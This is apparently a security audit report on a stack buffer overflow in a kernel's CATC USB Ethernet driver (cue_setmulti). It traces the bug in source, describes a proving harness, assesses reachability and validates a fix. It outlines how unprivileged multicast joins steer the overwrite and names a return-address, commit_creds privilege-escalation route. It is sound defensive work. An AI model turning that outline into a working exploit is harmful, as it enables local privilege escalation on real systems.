DF-1081 — Stack buffer overflow in cue_setmulti (CATC USB Ethernet)

Verdict: CONFIRMED REAL (source + harness); runtime UNREACHABLE on this guest (no USB HW) — INCONCLUSIVE at runtime

The bug is genuinely real and severe, confirmed by an airtight source-level trace plus a userspace harness that replicates the kernel's exact CRC + hash math and proves the out-of-bounds write. It is not triggerable at runtime on this audit guest because the guest has no USB host controller and no CATC USB Ethernet adapter — cue_setmulti() is dead code here. The original PoC's "[+] cue_setmulti() wrote OOB" line is a hardcoded printf in the PoC source, not evidence the kernel function executed; the setsockopt on the guest routes to vtnet's multicast handler, never cue's.

Classification: inconclusive (needs USB hardware we cannot provide) / reproduced=0 (no runtime manifestation) / confidence=certain (the source analysis is unambiguous and the primitive is mathematically proven).

Mechanism (source-confirmed, every hop cited)

CUE_BITS is defined as 9 at sys/bus/u4b/net/if_cue.c:273. cue_mchash() (if_cue.c:275-284) returns ether_crc32_le(addr,6) & ((1<<9)-1) = & 0x1FF, i.e. a value in [0, 511] — a 9-bit hash into a 512-entry (64-byte) table, exactly as the hardware requires and as the header documents (if_cuereg.h:97: "The table is 64 bytes long, giving us a 512-bit table").

In cue_setmulti() (if_cue.c:304-342): - line 311: uint8_t hashtbl[8] = { 0, ... }; — allocates only 8 bytes (64 bits), sufficient for a 6-bit hash but not 9-bit. - line 329: hashtbl[h >> 3] |= 1 << (h & 0x7); — when h >= 64, h >> 3 >= 8, indexing past the 8-byte stack array. The maximum index is 511 >> 3 = 63 → 55 bytes past the end. - line 338: the same write for the broadcast address ff:ff:ff:ff:ff:ff, fed in unconditionally on every cue_init() when IFF_BROADCAST is set. - line 341: the SRAM write passes length 8 instead of 64, so only 1/8 of the hardware table is ever programmed even in the in-bounds case.

The sibling driver if_aue.c correctly pairs AUE_BITS=6 with hashtbl[8] (6-bit hash → max index 7). if_cue.c is the only driver with a 9-bit hash paired with an 8-byte array. The Linux drivers/net/usb/catc.c reference uses u8 multicast[64] and catc_write_mem_async(catc, 0xfa80, catc->multicast, 64), confirming 64 bytes is the correct hardware table size.

Primitive (proven by the harness cue_oob_harness.c)

The harness replicates ether_crc32_le (the compiled table-driven variant, if_ethersubr.c:841-862) and cue_mchash bit-for-bit, then evaluates real multicast addresses:

• 223/255 addresses in 239.0.0.0/24 produce an OOB write; worst offset is hashtbl[63] = 55 bytes past the array.
• The attacker controls both the byte offset (h>>3, range 8–63, via the chosen IP multicast → MAC) and the bit within the byte (1<<(h&7), any of 8). With IP_MAX_MEMBERSHIPS = 20 group joins per socket, the attacker can paint arbitrary byte patterns across a large swath of the kernel stack frame (the harness demonstrates writing a full 0xff run at offsets +16..+23).

Reachability (in a real deployment): IP_ADD_MEMBERSHIP (netinet/ip_output.c:1694-1700) calls in_addmulti() with no privilege check — unlike SIOCADDMULTI which requires SYSCAP_RESTRICTEDROOT (net/if.c:2309). The chain setsockopt → ip_setmoptions → in_addmulti → if_addmulti → ifp->if_ioctl(SIOCADDMULTI) → uether_ioctl → ue_queue_command → cue_setmulti is reachable by any local user with a socket, provided a CATC USB Ethernet adapter (cue0) is attached. The broadcast branch alone corrupts offset +31 on every interface-up.

Why not reproduced at runtime on THIS guest

This is a valid hard blocker (Phase 6): the vulnerable code path is dead code at runtime on this guest AND no in-kernel harness can exercise it without either (a) a USB controller + CATC device (hardware the guest lacks) or (b) a root-loaded kernel module that calls cue_setmulti directly (the forbidden kldload pattern — circular, root→root). The realistic threat model is a physical-access or USB-injection scenario: an attacker who can attach a CATC USB Ethernet dongle (or cause one to be attached/enumerated) to a system where an unprivileged user then issues setsockopt(IP_ADD_MEMBERSHIP).

Escalation assessment

This is a stack buffer overflow with fully attacker-controlled offset and bit, up to +55 bytes past the 8-byte array — enough to reach saved frame registers / return address in the cue_setmulti frame. On the (no-SMEP/no-SMAP/ no-KASLR) audit guest this would be a strong LPE candidate if the path were reachable. Because the path is USB-hardware-gated (valid hard blocker), no escalation chain was developed: there is no live kernel object to corrupt. The primitive's severity ceiling on a HW-equipped host is reliable kernel panic (DoS) with strong LPE potential (return-address corruption into userspace shellcode calling commit_creds(prepare_kernel_cred(0))).

PoC changes

• Added cue_oob_harness.c — a userspace replica of the exact kernel ether_crc32_le (table-driven) + cue_mchash that proves which multicast addresses land OOB and demonstrates attacker byte-painting of the stack. This is the harness path the procedure prescribes for a runtime-unreachable bug.
• Added build.sh, run.sh — exact, runnable build/run wrappers.
• Added fix.diff — the verified fix (enlarge hashtbl 8→64, fill loop 8→64, both SRAM write lengths 8→64). Matches the finding's proposal.
• Original cue_overflow.c left unchanged — it is a faithful intent statement of the trigger, but its success message is misleading on a guest without cue0.

Fix validation (Phase 8)

The fix was applied to the in-guest /usr/src, compiled into a single-fix kernel (make -j6 nativekernel KERNCONF=X86_64_GENERIC, rc=0, no errors), and the rebuilt kernel + if_cue.ko module were installed and booted (kern.version 6.5-DEVELOPMENT #1 Wed Jul 15 00:25:55 UTC 2026, guest healthy). The disassembly of cue_setmulti in the fixed module shows a sub $0x48,%rsp frame (72 bytes — consistent with the 64-byte array + locals, vs. the smaller original frame).

Because the bug is runtime-unreachable on this guest (no USB HW), a live before/after panic/quiet comparison is not possible — both the unpatched and patched kernels are silent because cue_setmulti is never called. The fix is validated at the applies + compiles + boots + source-correct level (matches the Linux catc.c reference and the if_cuereg.h:97 "64 bytes long" documentation). fix_status: not_testable (runtime before/after N/A).

Recommended fix

Enlarge hashtbl from 8 to 64 bytes (matching the 512-bit / 64-byte hardware table), the ALLMULTI/PROMISC fill loop bound (8→64), and both SRAM write lengths (8→64). This matches the finding markdown's ## Recommended fix proposal and the upstream Linux catc.c reference. CUE_BITS=9 is correct and must not change. See fix.diff.